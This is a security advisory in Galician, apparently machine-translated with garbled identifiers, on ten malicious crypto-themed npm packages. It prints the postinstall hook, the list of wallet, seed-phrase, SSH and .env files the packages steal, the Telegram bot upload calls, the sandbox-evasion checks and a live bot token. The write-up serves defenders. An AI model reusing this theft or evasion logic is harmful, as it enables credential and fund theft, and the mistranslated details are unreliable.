SeedSweep: Dez paquetes criptográficos npm maliciosos

SeedSweep: Dez paquetes npm con temática criptográfica que só se executan cando ninguén está mirando

TL, RD

O 9 de xuño de 2026, unha única conta de editor npm, aicrypto-xzggg, enviado dez paquetes con nomes con sabor a criptografía e Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, e seis máis.

Cada paquete executa a mesma carga útil desde un postinstall hook. On install, it checks whether it is running inside CI or a sandbox — if not, it reads wallet keystores, seed-phrase files, SSH keys, and .env files from across six blockchain ecosystems and transmits them to a Telegram bot.

O único indicador que un defensor pode buscar inmediatamente é o ID do bot de Telegram. 8227918239.

Gravedade: crítico — direct theft of signing keys and recovery phrases from estacións de traballo de desenvolvedores.

O ataque: como funciona

Os paquetes anúncianse como utilidades para desenvolvedores de blockchain. paquete.json é mínimo e apunta o ciclo de vida da instalación a un script:

{
  "name": "farming-tools-12",
  "main": "src/index.js",
  "scripts": { "postinstall": "node scripts/postinstall.js" },
  "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],
  "author": "Alex Smith",
  "license": "MIT"
}

scripts/postinstalación.js é unha lámina dunha soa liña que carga a carga útil real: require("../src/index.js"). Porque postinstalación execútase automaticamente durante npm instalar, non é necesario que o desenvolvedor importe código: basta con colocar o paquete nunha árbore de dependencias para executalo.

A cadea de asasinatos no interior src/index.js son catro pasos:

  1. Comprobación ambiental. Unha función de garda decide se o host ten o aspecto dun axente de compilación ou dun entorno de probas de análise.
  2. Atraso. A execución difírese tras un definirTempoDeEsperanza de aproximadamente 7.4 segundos.
  3. Colección. Percorrese unha lista fixa de rutas de ficheiros de carteira, clave e secretos; os ficheiros existentes póñense en cola.
  4. Exfiltración. Os ficheiros en cola envíanse a un bot de Telegram, precedidos dunha mensaxe de resumo.

A lista de obxectivos da colección abrangue seis cadeas máis segredos xenéricos para desenvolvedores. Recortado:

~/.config/solana/id.json        ~/.ethereum/keystore
~/.solana/keypair.json          ~/.bitcoin/wallet.dat
~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore
~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519
./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt
./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

Vinte e unha rutas en total. Entradas de directorio como ~/.ethereum/keystore están expandidos e todos os ficheiros do seu interior están en cola. A exfiltración usa directamente a API do bot de Telegram, unha enviarMensaxe chamada cun resumo do servidor e do ficheiro, despois un enviarDocumento carga multiparte para cada ficheiro:

texto

POST https://api.telegram.org/bot<token>/sendMessage
POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

A mensaxe de resumo que ensambla o código comeza coa cadea literal LADRÓN DE CRIPTOMODELOS, seguido do nome do host, o nome de usuario, o nome do paquete de orixe, o número de ficheiros e a marca de tempo.

Novidades aquí

O diferenciador non é o mecanismo de roubo: expulsión baseada en Telegram de npm postinstalación hooks está ben pisado. É o porta de execución. Antes de facer nada, a carga útil chama unha función que devolve verdadeiro cando o host se asemella a un executador de CI ou a un ambiente de probas e devolve cedo cando o fai:

texto

isTestEnvironment() is true when ANY of:
  - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set
  - env NODE_ENV in {test, development}
  - username/USER contains: runner, sandbox, test, docker,
    jenkins, gitlab, travis, circleci
  - hostname contains: sandbox, test, ci
  - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

A expresión regular do contedor-id é a cláusula notable: un nome de host de 12 caracteres hexadecimais é a forma predeterminada que Docker asigna a un recipiente, polo que a carga útil trata "o meu nome de host parece un contedor Docker" como unha razón para permanecer inactivo. Combinado co atraso de sete segundos, o deseño favorece a execución na estación de traballo real dun desenvolvedor e permanecer en silencio en calquera lugar que pareza unha análise automatizada. Esa porta é o que suprimiu os sinais de análise dinámica e mantivo o fluxo de expulsión estática como a principal evidencia de convicción.

Timeline

Data (UTC)evento
2026-06-09 ~02:48Primeiros paquetes do clúster sinalizados na publicación (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25Membros con versións superiores sinalizados (ethereum-kit-9 ás 1.25.36, wallet-sdk-9 ás 3.7.73:XNUMX)
2026-06-09 ~03:58–03:59Membros finais sinalizados (defi-tools-39 ás 4.26.29, swap-sdk-87 ás 4.63.78, farming-tools-12 ás 4.68.54:XNUMX)
2026-06-09Os dez clasificados como maliciosos e denunciados para a súa eliminación no rexistro

Os dez apareceron en aproximadamente setenta minutos, o que coincide cunha única tirada de publicación con guión dunha soa conta.

Indicadores de compromiso

Indicadores de rede e comportamento (host desactivado):

IndicadorValor
Punto final de exfilapi[.]telegram[.]org (API do bot de Telegram)
ID do bot de Telegram8227918239
Token do bot8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
ID de chat de Telegram6433587894
Instalar ganchopostinstallscripts/postinstall.jssrc/index.js
Cadea de marcadoresCRYPTO STEALER na mensaxe de resumo compilada
Editoraicrypto-xzggg (correo electrónico indicado vipsyria88@gmail[.]com, sen verificar)

Paquetes e versións, cada un co SHA-256 do seu src/index.js carga útil (as cargas útiles son funcionalmente idénticas e só difiren na etiqueta do nome do paquete incrustada, polo que cada hash é distinto):

html
PaqueteversiónSHA-256 de src/index.js
farming-tools-124.68.54b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-874.63.789d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-394.26.29ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-93.7.73ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-91.25.36c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-11.0.01147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-41.0.093c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-91.0.0db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-71.0.059f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-01.0.0053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

Unha consulta de busca sinxela: busca nos rexistros de instalación e nos ficheiros de bloqueo calquera dos dez nomes e busca no tráfico de saída conexións á API do bot de Telegram desde hosts de compilación ou desenvolvedores que non a usan doutro xeito.

Atribución e comportamento observado

Os dez paquetes foron publicados por unha soa conta, aicrypto-xzggg, cuxo correo electrónico indicado é vipsyria88@gmail[.]comTanto o correo electrónico como a ligazón de control da fonte non están verificados nos metadatos do rexistro e a conta ten unha puntuación de reputación moi negativa. Non confirmamos quen opera a conta.

Dous detalles paga a pena separar de calquera reivindicación de identidade. Primeiro, o paquete.json Author lecturas de campo Alex Smith en cada paquete, mentres que a conta de publicación real é aicrypto-xzggg; o campo de autor son metadatos autodeclarados e non establecen a autoría. En segundo lugar, os números de versión varían moito: algúns membros están en 1.0.0, outros en 4.68.54 — o que é coherente coa reutilización dunha única carga útil en nomes de paquetes acabados de crear en lugar de manter os historiales de lanzamentos reais.

O comportamento é uniforme en todo o clúster: a mesma lista de rutas de destino, o mesmo ID de bot de Telegram e ID de chat, a mesma porta de ambiente, o mesmo LADRÓN DE CRIPTOMODELOS marcador. Esa uniformidade é o vínculo máis forte entre os paquetes. É un sinal do mesmo operador, non unha identidade.

Impacto, tendencias e orientación para defensores

A exposición é concreta. Un desenvolvedor que instala calquera destes paquetes nunha estación de traballo que contén unha carteira de software, un ficheiro de frases semente ou unha clave SSH fai que eses ficheiros sexan lidos e transmitidos desde o host en cuestión de segundos. As frases de recuperación e as claves de sinatura non caducan como o fai un token de sesión; unha vez que un mnemónico.txt ou unha Solana id.json sae da máquina, os fondos que controla están en risco ata que sexan movidos. A mesma execución tamén captura .env ficheiros, que habitualmente conteñen claves API e credenciais de base de datos.

Dúas tendencias están detrás deste clúster. A primeira é o uso continuado de nomes con temática criptográfica e Web3 para atraer a un público específico: desenvolvedores que manteñen carteiras e claves na mesma máquina na que instalan dependencias. A segunda é a maduración da evasión de sandbox nas cargas útiles en tempo de instalación. Unha porta que comproba as variables de ambiente de CI, os nomes de usuario do executor e unha forma de nome de host de ID de contedor de Docker é un esforzo deliberado para comportarse de forma diferente baixo análise que nunha estación de traballo real, e eleva o listón para a detección puramente dinámica.

Para os defensores:

Instalar cos scripts desactivados por defecto. instalación de npm –ignore-scripts, ou conxunto ignorar-scripts=verdadeiro in .npmrc, impide postinstalación execución; habilitar scripts só para as dependencias específicas que realmente os necesitan.

Manteña as carteiras e as claves de sinatura fóra das máquinas de compilación e desenvolvemento. Use unha carteira de hardware ou un servidor de sinatura dedicado e libre de dependencias.

Trata .env, almacéns de claves e ficheiros de frases semente como xoias da coroa. Nunca deberían estar nun directorio que tamén sexa un npm instalar árbore de traballo.

Busca conexións de saída á API do bot de Telegram desde servidores de CI e desenvolvedores. A maioría dos entornos de compilación nunca o chaman; un que o faga de súpeto, xusto despois dunha instalación, paga a pena investigalo.

Fixar e revisar dependencias. Un paquete novo cun nome criptográfico xenérico, un postinstalación hook, e ningunha ligazón de repositorio xustifica unha ollada antes de entrar nun ficheiro de bloqueo.

A cláusula de evasión do ID do contedor tamén é un recordatorio para os analistas: unha carga útil en tempo de instalación que permanece inactiva nunha zona de probas non é benigna, é selectiva. A revisión estática da ruta de instalación segue sendo a forma fiable de ver o que a execución dinámica pode rexeitar mostrar.

References

documentación de instalación de npm: scripts do ciclo de vida e –ignorar-scripts— referencia para desactivar a instalación automática hooks. 

ferramentas-sca-tools-software-ferramentas-de-análise-de-composición
Priorizar, corrixir e protexer os riscos do software
Obtén a túa conta gratuíta.
Non se precisa tarxeta de crédito.

Asegura o desenvolvemento e a entrega do teu software

con Xygeni Product Suite